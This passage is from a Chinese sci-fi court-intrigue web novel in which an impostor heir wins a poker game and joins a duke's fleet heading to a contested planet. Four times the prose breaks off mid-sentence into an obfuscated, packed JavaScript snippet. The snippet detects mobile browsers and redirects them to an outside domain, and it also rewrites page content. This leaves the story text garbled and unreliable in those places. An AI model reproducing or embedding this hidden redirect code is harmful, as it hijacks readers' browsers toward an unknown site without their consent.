兰德尔手腕上的终端亮着,左耳上佩戴着一枚连通脑域的接收器,他似乎正与人进行一场无声的通话,在听到有人进入的动静后,微微侧眸,灰蓝色的眸子落到白启身上,如他的神情那般冷淡,似乎只是随意投来一眼。 白启面上不显,内心却是不自觉收起了之前的轻浮和散漫,他至今不知道自己的破绽露在何处,即便对方暂时没有理由拆穿他,但这位塞勒斯公爵还是让他感受到了深深的威胁,以致于下意识地绷紧心弦。 他这些许紧绷无需掩饰,因为作为平民的白启本来就该是有些惧怕对方的,他只需要除此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423052|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之外,再适当地表现出一丝讨好。 白启冲兰德尔咧嘴一笑,做作且谄媚。 兰德尔果然不感兴趣地移开视线,他同时做了个手势,旁侧的马修副官便上前,接替伊蒙,带着白启来到北侧的隔间,一个像是会议室的地方。 会议室上方穹顶及四周地面处安装有一组特殊的装置,可以将屋内的影像以全息的方式收录,同时将远方的影像以同样的方式投射,在昏暗的条件下,其精度几乎与真人无异。 “伊蒙既然已经跟你说了你的身份,我就不再赘述,皇室那边仍在进行核查的流程,在结果出来之前,伍德元帅提出想要先见一见你。”马修简短道。 虽然乍看都是军人的冷肃风格,但马修明显跟伊蒙那种熟了后很好相处的性子不同,他的行事作风语气神态都透着股一板一眼的严谨,脸上更是几乎不会有多余的表情,倒是跟那位塞勒斯公爵的风格很相配。 或者说,兰德尔会选择马修这样的人做副官,本身就说明了他的性格喜好,几乎跟白启是两个极端。 此刻,白启就一边在脑域中跟王尔德说“塞勒斯应该跟格拉西斯的精神力特性对调一下,看这一屋子冰块”,一边紧张且乖巧地答道:“好、好的。” 等待片刻后,大抵是约定的时间到了,投影机器运作起来,一名穿着军装的高大男子出现在白启前方。 七大家族的军服制式大抵是相似的,不同的是配色和家徽的纹样,伍德元帅的军装就是以白色为主体,金色的饰物予以点缀,左胸挂着一排奖章,代表他卓越的功勋,肩章上的家徽纹样是十二道焰纹环绕的金色太阳。 作为泽维尔家族现在的掌舵人,伍德元帅今年75岁,但他的外表并不显老态,反倒跟二三十岁的年轻人无异,在人类进入星历纪年后,寿命就被不断拉长,正常来说,在步入衰败的老年前,人的外表都不会有太大变化,因而很难从外表判断一个人真实的年龄,不过伍德元帅那双鹰隼般锐利的眼睛,和眼底饱经风霜的沧桑,还是明显显出他不同于白启这样的年轻人。 “伍德元帅,日安。”马修礼节性地问候了一番,便主动退出会议室,留白启和伍德单独对话。 “那、那个,您好……”白启拘谨道。 “不用紧张,我只是有些问题想问问你。”伍德的语气还算平和,但任职元帅多年,他再平和,也多少带着股将领的严厉。 “嗯、嗯,您请说……”白启还是畏畏缩缩的。 “他们说你生活在GR9329星,那里是什么样的?” “就是……很普通,房子都灰扑扑的,云也是,那里每天光照的时间很短,云层上都是矿业提炼后产生的黑烟……”白启信口描述着,他根本没在GR9329星生活过,但从事矿业生产的编号星球环境大抵如此,而且伍德显然也并不在意他到底说了什么。 他这个皇嗣的真假,从来都不重要,决定伍德元帅是否要承认他的,也并不是他此刻的回答。 但伍德还是多此一举地提出了见面要求,与其说是要真的从他口中问出什么,他更像是单纯地想亲眼看看白启的模样。 在白启说话时,伍德的目光一直集中在他的脸上,自己这张脸有多像那位被誉为黄金之狮的皇帝,白启自然心知肚明,这也正是他要的效果。 他表面畏缩地半低着头,内心则十分坦然,犹如模特走台般,恨不得打着无死角的聚光灯,全方位展示自己的五官。 一场没什么意义的问答结束后,伍德以“感谢你的回答”做结。 在白启被带离会议室,重回西区的客房后,伍德的通讯并没有挂断,他等待片刻,兰德尔便来到屋中,站到白启方才站过的位置。 “公爵阁下。”伍德礼貌问候。 “伍德元帅。”兰德尔以同样的礼节回应,这些年一直如此,无论两大家族私底下的关系如何,表面上都当遵守基础的社交礼节,这是贵族应有的风度和涵养。 “你向议会提交的有关砾石星历史归属权法理认定的材料,我承认其有一定的合理性,但维纶这些年在砾石星治安维护上的功劳也不可否认,关于五日后听证会的投票,我尚在考虑,在我做出最终决定前,我有一个问题想问问阁下。” “请说。” “如果对此人血统核查的最终结果是他并非泽维尔的皇嗣,你打算如何处理?”伍德在白启面前收敛起的锋锐气势在此刻彷佛能穿过仿真的全息投影,同那双锐利的鹰眸一起射向对面的兰德尔。 “如果他并非真正的皇嗣,那就是别有用心的仿冒者。”兰德尔站在原地,语气并不冷酷或残忍,而仅仅是公事公办的平淡。 “在审查清楚他的来历和目的后,我会将他处理掉。” 4. 牌局 “好无聊啊。” 白启坐在花园露天的石桌边,撑着手肘,神态颇有些百无聊赖。 一转眼,他在塞勒斯的官邸已经住了七天,明面上他没有被限制自由,但实际上,但凡他想要离开西区去外边转转,就会被伊蒙一脸为难地以要保护他安全的理由劝回。 其实整座塞勒斯官邸占地约有八万平方米,单论主要用于住宿和私人社交的西区这一片,约有两万多平,即便去掉花园泳池那些,西区的主体楼栋也有约六千多平,而且这仅仅是一层的面积。 这样大的空间,除了主卧客房以及一些待客用厅室,自然还可以容纳繁多的设施,依白启对这些贵族的了解,什么游戏厅,影音室,乃至小型的歌剧院,这些基本都是必有的,而且设备绝对都是市面上最高端最昂贵的型号。 他本该在这些娱乐室中度过快乐的七天,但在他拐弯抹角地暗示问伊蒙这里有没有类似的娱乐室时,伊蒙却回答说:“没有的,阁下不喜欢这些东西。” 已经得到过确切的答案,但白启实在是太无聊了,这几天里他几乎把西区的每一寸草坪都踏遍了,此刻忍不住又一次暗搓搓地问伊蒙说:“公爵阁下平常娱乐的时候一般做什么?” “据我所知,阁下他一般不娱乐,他觉得那些事没有意义。”伊蒙听出了白启的弦外之意,额外答道,“其实以前这里是有那些娱乐室的,但是阁下几年前让人把这些房间都拆了,整体打通,改造成了模拟训练室。” 白启:“……好浪费哦。” “是有点。”七天下来,伊蒙也是跟白启越发熟悉了,说话也随便了许多,此刻闲聊道,“阁下这些年其实很少回西区住,虽然两边隔得也没有很远,但大多数时候,他都直接睡在办公楼那边的房间了,这间新建的战斗模拟室好像总共没用过几次。” “他那么忙啊。”白启心如死灰,却还是得佯装无事地接话。 “因为整个家族的担子都压在公爵身上嘛。”伊蒙道。 兰德尔继任的那一年,绝对是塞勒斯家族最风雨飘摇的一年,外部的打压,内部的混乱,若是继任者并非兰德尔这样强力的人物,很难想象,这个传承数百年的家族是否会就此崩溃瓦解。 而在十年后的现在,虽然内部的反对势力已经基本被肃清,外部的敌人却依然虎视眈眈,今日就该是听证会表决砾石星归属权的日子了,虽然这几日泽维尔皇室因为皇嗣的事开始跟塞勒斯接触,但直至听证会正式开始的今日,伍德元帅也仍未给任何明确的回应,也不知阁下最终能不能拿到一个好的结果。 伊蒙思维发散着,并没有将心中所想告知白启,熟悉归熟悉,但对方到底是个外人,不是可以谈论这些话题的对象。 “唉。”白启有气无力地趴倒在石桌上,正在脑域中试图跟王尔德吵架解闷,突然听到一阵喧闹的动静。 他抬起头,就见到前方的连廊上,两个八九岁大的孩子似乎正在为什么东西争执。 “还给我!”穿着精致蓬蓬裙,仪容明显被仔细打扮过的女孩此刻脸色涨红,委屈得几乎要哭出来。 她对面的男孩同样有着精致的妆容,一身定制西装,胸前打着红色的领结,头发用发胶抹到额后,像个小大人般。 男孩手里拿着一叠卡牌,神态带着贵族典型的优雅和高傲,他此刻居高临下地训斥道:“愿赌服输,伊莎贝拉,这张卡你已经输给我了,哪有往回要的道理?你太不体面了。” 女孩本来就已经气急,再被这句“不体面”一激,情绪彻底崩溃,大哭着转身跑走了。 男孩慢条斯理地理了理西装上的褶皱,转过头,终于注意到了花园中正看着自己这边的两人。 犹豫片刻,男孩向他们走来。 “日安,科林斯少校。”男孩明显是认识伊蒙的,礼节性地问候完后,他又转向白启,大约是捉摸不定白启的身份,他同样以贵族的礼仪问候道,“日安,先生。” “日安日安。”白启笑眯眯地应道。 “凯文,你怎么在这里?哈里森子爵也来了吗?”伊蒙问。 “是的,家父来处理一些事情,我随他一起来公爵阁下的官邸参观学习。”男孩有模有样地答道。 “参观学习?”白启插话道,“但我刚刚听到什么愿赌服输?你和那个伊莎贝拉在赌博吗?” 男孩脸色现出一丝被戳破的慌乱,他强作镇定道:“那是伊莎贝拉非要玩的,她想要我的卡牌。” “玩的什么?什么卡牌?”白启表现得很感兴趣。 “德州丨扑克。”男孩将手里拿着的那叠卡牌展示在桌上,是八张金色的动漫卡,卡面上绘制着八匹神态各异的卡通小马图像。 “《小马路路》是星际现在最火的少儿动画,其周边玩具动漫卡牌同样是少儿间最炙手可热的玩具,而在这些卡牌玩具中,以盲盒方式限量发行的纯金制典藏卡更是被炒到近乎天价的高度,根据星网上的成交记录,这八张金卡的单张市面价值约为八十万星币。”王尔德在脑域中同步解释。 “这就是你们刚才的筹码吗?真不错。”白启拿起一张戴着牛仔帽的小马金卡打量,像是对这几张小马卡非常喜爱,他笑吟吟地邀请,“要不要跟我也玩一局?” “你也有典藏卡?”男孩意外道。 “不,但我有别的筹码。”白启从口袋中拿出八枚一元面额的星币,“一枚代表一百万星币,如何?” 一枚一百万的话,那倒是跟他的筹码相当了,但……凯文狐疑地打量着白启,这个人到底是谁啊? 几百万的赌资贵族自然不会出不起,但问题是这个人真的是贵族吗?凯文从来没在社交场合见过这个人。 “放心,我的承诺绝对有效。”白启煞有介事地举起手掌,“以塞勒斯的名义起誓。” 凯文看向一旁的伊蒙。 “额……”伊蒙一脸迟疑,对于白启的经济状况,他也算略有了解,白启这分明是要让兰德尔替他兜底担保,几百万对于塞勒斯自然是九牛一毛,但问题是这不是伊蒙可以擅自替公爵答应的事,要是为了这事专门去请示公爵,那更是犯不上,而且兰德尔现在应该正在听证会的关键时刻,根本联系不了,可他也不好当面拆白启的台…… 为难一阵后,伊蒙最终说:“白启先生确实是公爵阁下非常重要的客人。” 有了这句,凯文就像是得到了什么保证,点头应道:“谁先下注?” 他同时拿出一副显然是刚拆封不久的扑克。 “我先吧。”白启拿过牌看了一眼,确认已经去掉大小王后,顺手在手里洗了一圈,而后递给一旁的伊蒙说,“帮我们发一下牌吧。” 他同时露出一个笑容,不是之前那种总是带着些怯懦和谄媚的,这一次他笑得格外灿烂,简直如鱼得水般自然。 “好……”伊蒙心事重重地应下了,满脑子都在想要是白启输了,之后他要怎么跟公爵汇报莫名其妙背上了几百万赌债的事。 “两百万。”白启将两枚硬币推到石桌中央,作为首轮的大盲注。 “一张典藏卡。”凯文下了相应的小盲注。 伊蒙随后开始发牌,一人两张,先凯文后白启。 黑桃A,方块A,堪称德州丨扑克中的最强起手牌。 凯文当即道:“加注。” 他再将两张小马卡推到场中。 白启看了眼自己的起手牌,红桃10和红桃Q,他笑眯眯道:“跟注。” 他又推一枚硬币进场。 双方无弃牌,伊蒙于是开始发三张公共牌。 红桃A,梅花A,方块7。 结合手中的两张底牌,可以由四张A组成四金刚,无论剩下两张公共牌是什么,这都已经是同花顺以下的最大牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423053|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 型,这几乎是必赢局了。凯文再次道:“加注。” 他推出第四张小马卡。 “加注。”白启仍然面带微笑,彷佛胸有成竹一般,再推入两枚代表百万的硬币。 这让凯文陷入些许迟疑,仔细观察着白启的神色,虽然觉得对方不可能比自己的牌大,但还是谨慎道:“跟注。” 翻牌圈结束,双方各自投入的筹码是五百万星币和五张典藏小马卡。 “你的胜率,只有不到个位数。”王尔德突然说。 “不,是百分百。”白启十分自信。 “我说的不是眼前的牌局。”王尔德说,“听证会差不多要进行到投票阶段了,如果伍德元帅选择跟塞勒斯联合,那么卢纳必然跟随投赞成,而佩特拉见局势有变,则大概率弃权,塞勒斯将以3:2的结果赢得砾石星的控制权。” “但是,里奥,伍德元帅并没有那样强烈的动机选择与塞勒斯联合,维纶和格拉西斯诚然是野心昭然若揭的豺狼,塞勒斯却也是年轻的恶虎,承认皇嗣的身份会面临诸多隐患与挟制,与虎谋皮从来不是泽维尔的最佳选择,经过我这些天的多次测算,你的胜算并没有预想的那样大。” “我说的也不是牌局。”白启却道,他随意转动着手里的两张底牌,看着伊蒙发出第四张红桃J公共牌,嘴角露出一抹意味深长的笑意。 五天前的夜间,在伍德元帅结束提问,马修也重新进入房内准备带着白启离开时,白启突然站住了。 他背对着伍德,双肩微微颤抖,像是鼓起了极大的勇气,才终于转回头。 “伍德元帅,我、我也有一个问题想问您!” 伍德一怔,显然没想到白启会反过来问他,他随即道:“请说。” “我的父母……他们是什么样的?”白启说话时眼底闪动着某种光亮,那是一个自幼无父无母的孩子对父母亲情的渴望。 那渴望太过强烈,竟是冲淡了他那一直以来的怯懦,让他的五官现出原本的英气,金褐色的眼睛坚定且执着。 跟那个人一模一样…… 这一次,伍德竟是怔愣许久,像是一时不知该如何描述,也像是坠入了一段久远的旧日时光。 “赌徒才博概率,骗子是靠诈术的。”白启轻笑着,在凯文选择过牌后,将所有筹码推入场中。 “All in。” 同一时刻,线上听证会的现场。 由全息投影构建出的七人分坐于长桌边,维纶和格拉西斯胜券在握地相继投下反对票后,伍德沉吟许久,终于是给出了他的选择。 “赞成。” “什么?!” 无论维纶和格拉西斯此刻怎样震惊,这场本该没有任何意外的听证会结果还是在顷刻间迎来了巨大翻转。 “赞成。”卢纳家的代表紧随其后。 佩特拉的家主眯着眼观察场中众人的神情,在面色平淡像是对结果没有丝毫意外的兰德尔身上更是反复徘徊,他紧跟在弃权的索恩之后,投下了推波助澜的关键一票。 “弃权。” 3:2,塞勒斯家族获得砾石星的合法统治权。 同一刻,泽维尔突然通过皇家官方媒体向公众宣布找到了一名遗失多年的皇嗣。 这两个爆炸性的新闻将在接下来的一段时间以旋风般的速度传遍帝国的各大星区,而在媒体们大肆报道前,作为塞勒斯军官的伊蒙先一步收到了内部的消息。 “阁下赢了……”伊蒙看着终端上的传讯,怔愣得甚至忘了他正在主持牌局。 “你不可能比我大!”八岁的凯文思索许久,认定白启就是在诈唬,于是将自己剩余的小马卡也全部推入场中。 白启听着王尔德转述的两则突发新闻,轻声说:“不,是我赢了。” 他伸手替伊蒙翻出最后一张公共牌。 红桃K。 5. 狐狸尾巴 “元帅。” 副官跟着伍德离开会议室,听证会已经结束,但更多的事务却随着伍德投票的结果和刚刚对外宣布的那则消息接踵而来,说是一石激起千层浪都不为过。 他满腹不解:“帮助塞勒斯赢得投票,会导致磐岩矿区完全落入对方的掌控,塞勒斯的军力将再上一个等级,这已然是很大的威胁,而在承认皇嗣的身份后,那位塞勒斯公爵也必然不会轻易放人,我们将处处受制,这局面并不会比维纶和格拉西斯的威胁好上多少。” 伍德何尝不知道这些?事实上,至今也很难说清,做这个选择,到底是利大,还是弊大,不过…… 伍德又一次想起白启的那双眉眼,在心底轻轻叹息一声,罢了。 他收敛起那些许感性的心绪,不过片刻的光景,他的鹰眸已经变得如往常一般锐利。 “投票上的胜利只是投票上的,那位塞勒斯公爵想要真正收回砾石星,还没有那么容易。”伍德留下这样一句意味深长的话,随后便不再讨论这个话题,突然宣布的皇嗣会影响整个帝国,但影响最大的,绝对是泽维尔直属的这片领地,他需要去应对媒体以及内部政坛的哗然。 而作为直接引起这场风波的本人,白启此刻也很忙碌,他正忙着配合裁缝测量身体的各项尺寸,作为泽维尔家族的继承人,现今唯一的皇嗣,自然是不能再穿以前那些平民衣服了。 如伍德副官所说的那样,在听证会结束,皇室官宣继承人之后,兰德尔完全没有要送白启回去的意思,以保卫名义看守他的伊蒙也仍然对他寸步不离,不过面子上的功夫还是要好好做的,除了定做新的衣物,白启的食住行方面都迎来了全方位的提升,甚至塞勒斯官邸的一应佣人军官都开始改口叫他“殿下”。 “殿下,虽然理解您一定对您的名字有着诸多不舍,但既然已经回归泽维尔家族,还是建议您取一个更相配的名字。”马修说话的方式还是那样冷肃板直,不像是建议,更像是要求。 好在白启也完全不抗拒这点,他直接道:“叫我里奥吧。” “里奥·泽维尔。”换上新定制礼服的白启转过身,仿军制的礼服也像军装那样挺拔修身,同时还镶嵌有繁复华丽的各色宝石,配上他本就出众的五官,此刻对着马修微微一笑,竟如真的贵族那般矜贵且优雅。 但定力极强的马修副官不为男色所动,依然一板一眼道:“好的,这个名字将同步告知皇室,这将是日后您对外官宣的名字,另外,公爵阁下有些事请您去办公室一叙。” “什么事?”跟马修去的路上,白启假模假样地问。 “是伍德元帅,因为一些特殊情况,您暂时不方便回到日冕星,需要暂住在这座官邸,伍德元帅有些事要对您交代。”马修道。 白启很有眼色地没有去问“特殊情况”是什么,虽然其实不问他也知道,事实上,他费了那么多功夫才名正言顺地混进来,完全没打算轻易从塞勒斯官邸走呢。 进入办公室后,这回没有专程去那间布设全息投影装置的房间,只是简单的会话,因而伍德直接打了视频通讯,他的影像此刻正映在办公室墙壁的屏幕上。 “里奥殿下。”伍德已经获知了白启的新名字,他此刻看着屏幕对面身着白色礼服佩戴太阳家徽的白启,公事公办的眼神中再次流露出些许私人的情绪,像是对故人的感怀。 他的语气同时变得温和些许,细细交代道:“因为一些原因,我们暂时无法接您回到达日博格神宫,这段时日,公爵阁下会代为照顾您,不便之处,请您多多谅解,我们会尽早将一切事情解决。” “没关系。”白启说,“没有什么不便的,兰德尔将我照顾得很好。” 他这就开始直呼兰德尔的名字了,虽然以皇子的身份,他这么唤合情合理,但多少还是显出了些蹬鼻子上脸。 不过仅仅是这种程度,并不够让兰德尔素来淡漠的脸孔有任何动容,直到,白启为表亲切,还专程过来勾住了他的手指。 兰德尔的眉峰微不可察地下压了几个像素,他低头看向正被牵住的手指,又抬起头,对上白启那格外灿烂的笑容。 善于表演的人在对旁人情绪的观察上同样敏锐,白启几乎是第一时间察觉了兰德尔的抗拒,然后,他将手握得更紧了,本来只是随手一握,此刻却是牢牢地攥紧对方。 兰德尔自然不好甩开他,以比平常略冷了几度但常人都看不太出来的脸色客套地与伍德又聊了几句,而后,在对方挂断通讯的一刹那,不等他动手,白启就自己主动先松开了他。 “兰德尔……额,公爵阁下,你介意我这么叫吗?”白启小心翼翼的,像是很歉疚,“我刚刚就是不想让伍德叔叔担心。” “随便你。”兰德尔冷淡地扔下这么一句,转身回到办公桌边,拿起一张丝帕仔细擦拭自己方才被碰过的手指。 “他在嫌弃你。”王尔德说出这个显而易见的事实。 白启没有任何讨嫌的自觉,或是羞赧的情绪,反倒跃跃欲试得像是那种要对漂亮女同学使坏的坏小子。 “看我怎么给这个冰山洁癖脱敏。”他一边对王尔德这样说着,一边不请自来地搬了个凳子到兰德尔的办公桌对面,却又不好好坐着,而是单腿跪坐,手撑在桌沿,上半身前倾得几乎越过大半张桌面,逼得兰德尔不得不微微后仰,才得以跟他保持一个相对正常的社交距离。 “那个,虽然阁下确实照顾了我许多,帮我找到了我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423054|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲族,让我有了如今的地位,但,我可不可以再提一些小小的请求?”白启的语气是跟他几乎算是强盗入侵的动作截然相反的可怜兮兮,像是扒着人裤腿的小狗。 “直接说。”兰德尔显然已经相当不耐烦。 “就是,我想买一些东西,但是……你知道的,我的余额只有……嘿嘿。”白启羞赧地笑笑。 “稍后让人给你。”兰德尔一副想把白启早点打发走的语气。 “谢谢!”白启双手合十,做了个感恩的动作,而后仍然赖着不走,他状似闲聊道,“阁下,我最近看了新闻,说是听证会表决承认了塞勒斯对砾石星的合法统治权?” “嗯。”兰德尔随意应了一声。 “我还听伊蒙说什么阁下你明天就要出发去砾石星了,亲自去处理那边的各项权限交接?” “嗯。” “那……我可以跟着去吗?”白启说话的语气比之前要钱时更轻快,彷佛他只是在提一个无足轻重的小请求,“这里实在是太无聊了,伊蒙说是要保护我的安全,都不让我出去,我可不可以跟阁下一起去砾石星转转?” 这确实无足轻重,多带一个人或是不带对兰德尔来说没有任何区别,不过…… 他微微眯起眼,审视着白启说话时一切的动作和神情,就像在审视一只终于露出些许尾巴的狐狸。 “我要是不同意呢?”他同样前倾身体,虚虚交握的双手搭到办公桌上,以一个近到几乎能感觉到彼此呼吸的距离与白启对望着。 白启眨眨眼,很好说话道:“那我就不去了。” 他率先坐回了原位,隔着一米宽的办公桌,满脸都是听话的乖巧:“其实这里也挺好的,虽然没有什么玩的,但是很安全,我听伊蒙说砾石星那边好像很乱,还有什么星盗出没?想想确实还是不去的好,还是阁下考虑得周到。” “好像也没有其他事了,那我就先走了,不打扰阁下你工作了。”说完,白启挥挥手,竟是真就这么走了。 但是,在他走到屋门处,手已经搭到门把手上时,身后突然传来一道冷淡的嗓音。 “明天早上八点,不要迟到。” 在背对着兰德尔的死角处,白启嘴角弯起一抹尽在所料的得意弧度,而后,他一脸惊喜意外地转过身,一句话不说,直接“蹬蹬蹬”地走到办公桌后,兰德尔的身前。 趁着兰德尔尚在疑惑他是想做什么的功夫,他直接俯身给了对方一个拥抱,同时感动道:“我就知道,阁下你真是个好人!” 如此一番,强抱了一通外加强塞了一张好人卡后,白启这才心满意足地推门走了。 徒留脸色冷得直下零度的兰德尔坐在原位,无声地散发冷气。 6. 费舍家族 “阁下,现在是星历3287年3月5日18时43分,距离约定的期限还有1小时17分,我方舰队已于两日前全部部署到位,严密把控砾石星周边一切民用非民用航道,预计在20时整,主舰队将准时登陆砾石星东部港口,正式接掌地面控制权。” 主舰的指挥室内,马修向兰德尔做着简短的军情汇报。 听证会是3月2日出的结果,而从当日20时议会正式宣布砾石星控制权的变更至今,仅有不到三天。 三天,是兰德尔留给维纶撤出驻军的时间,虽然各方面都跟格拉西斯捆绑得很深,两家也经常同步行动,但砾石星这边的利益却是主要归于维纶,驻军也是只有维纶的军队在此。 这自然立刻遭到了对方的反对,十几年的驻扎,多种地面重型军备的铺设,都不是短时间可以完全撤走的,正常来说,这种撤军在一个月内完成都算是异常快速的了,但兰德尔只给三天,不是商量,仅仅是通知。 两日前,或者说听证会结果出来的当日夜间,塞勒斯的星舰就已经陆续到位,现今虽没有直接侵入砾石星领空,却也如星点般环绕在其疆域外围,分布在太空航道的关键跃迁点附近,每一艘从砾石星来往的星舰都直接暴露在其黑洞洞的炮口下,包括正在撤出的维纶舰队。 在表决结果出来,兰德尔说出三日这个期限的时候,约瑟夫·维纶就几乎要在会议上破口大骂,但兰德尔我行我素地直接断了通讯,并于当夜直接将全副武装的舰队开到了砾石星附近,在今日,他更是亲自来此。 兰德尔所搭乘的这艘指挥舰自来到磐岩矿区后就一直是广播信号开启的状态,这意味着它可以被周边星域所有军用民用的雷达直接搜索到,暴露指挥舰的位置在战时自然是相当愚蠢的行为,但在战前,这却是一种无声的威慑和表态。 作为塞勒斯家主及最高指挥官的兰德尔亲自来此坐镇,意味着他确实做好了武力强攻的准备,也意味着双方一但开始交战,阿加雷斯一定会加入战局。 因而约瑟夫·维纶无论私下里有多么恼恨,但在反复权衡利弊后,到底还是选择了如约撤出驻军。 此刻,指挥室主屏幕的雷达图上,密密麻麻的红点正在陆续撤离,因为时间过于仓促,它们的队形显得有点散乱不成型,而与之相对的,在一旁虎视眈眈的代表塞勒斯舰队的蓝点则显得秩序井然,各编队结成攻守兼备的作战阵型,随时可以防御或是阻击对方突然回转的偷袭。 当然,这个概率极低,约瑟夫·维纶在听证会后的各种动作都证明了,他此刻并没有与兰德尔正面作战的勇气。 指挥舰上的气氛整体还是较为放松的,兰德尔也没有紧盯雷达图的局势,而是将心思放了一半在屏幕另一侧的一则十分钟前刚刚发送来的视频问候简讯上。 视频来自砾石星,发送者及录制人,是劳伦特·费舍,砾石星的行政总督,费舍家族的家主,曾经隶属于塞勒斯的臣属。 不过,这已经是二十多年前的事了。 在二十三年前,塞勒斯因刺杀案而深陷各方攻讦的中心,两年持续的高压打压下,对于位于领土边陲的砾石星,以及整个磐岩矿区,塞勒斯都陷入一种鞭长莫及的无力感,就在这时候,砾石星周边闹起了一伙星盗,几乎截断了矿区通往外界的所有主要航道。 劳伦特·费舍自然是先向塞勒斯求援,理所当然的,分身乏术的塞勒斯没有派来任何剿匪的舰队,而劳伦特·费舍紧跟着就又发了一封求援信,这一回的收信人是维纶的约瑟夫。 于是,维纶的军队就以人道主义救援的由头合情合理地驻扎到了砾石星,一待就是二十三年之久,在二十三年中,本该向塞勒斯上交的税收矿产,自然是没了踪影,而身为臣属的费舍,也再没有与塞勒斯有任何联系。 眼下费舍突然发来问候,其实也合情合理,毕竟砾石星即将易主,劳伦特在视频短片里说的也就是些常规的问候语,什么在砾石星总督府恭候公爵阁下的莅临芸芸。 兰德尔此刻看着视频播放完后定格的最后一帧画面,本也不是想从视频中研究出什么,或者是对劳伦特那张已现老态的老脸有任何兴趣,从他放空的眼神上来看,他更像是对着屏幕走神,或者说,思索。 公爵阁下思考事情的时候经常这样,闭目,又或者对着某一处放空,指挥室的其余人都默契地放轻了手脚,因为兰德尔是相当厌恶噪音的,尤其是在他安静思索的时候。 然而,兰德尔这回的思索没持续多久,就被一阵由远及近的嘈杂声响所打断。 “哇,这里还有舷窗诶,可以打开通通风吗?” “不可以的,殿下,外面是太空……” “有点渴了,有没有饮料,我想喝带酒精的。” “没有的,殿下,军舰在执行任务时是全面禁酒的。” “这是什么?长得好怪啊。” “那是重力装置,殿……不可以乱按——!!” 伊蒙急得声调都拔高了,虽然成功制止了白启的乱摸乱碰举动,却也顺利吸引来了指挥室内除兰德尔以外所有人的视线。 在数双眼睛的注视下,以及马修副官紧蹙的眉头上,伊蒙后知后觉地意识到了不妙,即便公爵阁下不是在思考的时候,也是素来喜静的,他赶紧放低音量,试图劝阻白启到别处去转。 然而,他话都没来得及说,白启就已经用他欢快的语调及步伐跑到了指挥室正前方,那块位于兰德尔视线中心的巨大屏幕前。 “这是谁?”白启一脸好奇地回头。 也不知是有意无意,他回头的视线落点正好是在兰德尔那边。 兰德尔坐在舰长位置上,戴着皮质黑色手套的手指支在额侧,眉眼中的淡漠神情乍看如往常一般无二,但若是对他较为了解的人,就会从他略低的眉峰知道他此刻其实相当不悦。 他自然没有回答。 慢了几拍跟过来的伊蒙见状,犹豫片刻,还是小声为白启解释道:“这是劳伦特·费舍,砾石星的行政总督。” “劳伦特·费舍?”白启听到这个名字还有些没反应过来,但听到后面一句时,他像是被唤起了什么记忆,恍然道,“我想起来了!这不就是伊蒙你说的那个费舍家族吗?那个卑鄙无耻的叛徒!” “额、我没有说费舍家是叛徒……”伊蒙弱弱地辩解。 “我知道,这是我自己的理解,难道他们不是吗?”白启好像很义愤填膺,“不然他们当年干嘛向维纶求援?就算塞勒斯的舰队有事不能来,不能求助皇室,也就是我家吗?哪怕是索恩家呢?谁当年攻讦塞勒斯最狠,那个劳伦特·费舍难道不知道吗?” “而且我记得伊蒙你说塞勒斯收到求援信息后不到两天,维纶的舰队就已经驻扎到砾石星了,就算两道求援信息是前后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423055|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚发的,那个维纶是会未卜先知吗动作这么快?要我说,搞不好什么星盗,也是费舍这个叛徒和维纶一起搞出来的!” 没有人应声,但其实不少人在心中默默点头,这事实显而易见,费舍若不是叛徒,也不会在之后二十三年间断绝跟塞勒斯的一切联系。 不过……政治上的事,很多时候哪怕双方都已经心知肚明,却也不宜直接挑破,就像兰德尔之前对于劳伦特·费舍的问候视频,也是让马修以正常的社交礼节发函回复。 “我可不是挑事啊!”白启先这样说着,随后就开始煽风点火,“但跟这种叛徒根本没什么好说的,等会儿一登陆,第一件事就该是把费舍家的人全部抓起来,这个劳伦特·费舍直接当场击毙!” “不行的,殿下,即便是您,或者先代的那位皇帝,也不能随意处死别人,尤其对方还是一名贵族。”伊蒙忍不住道。 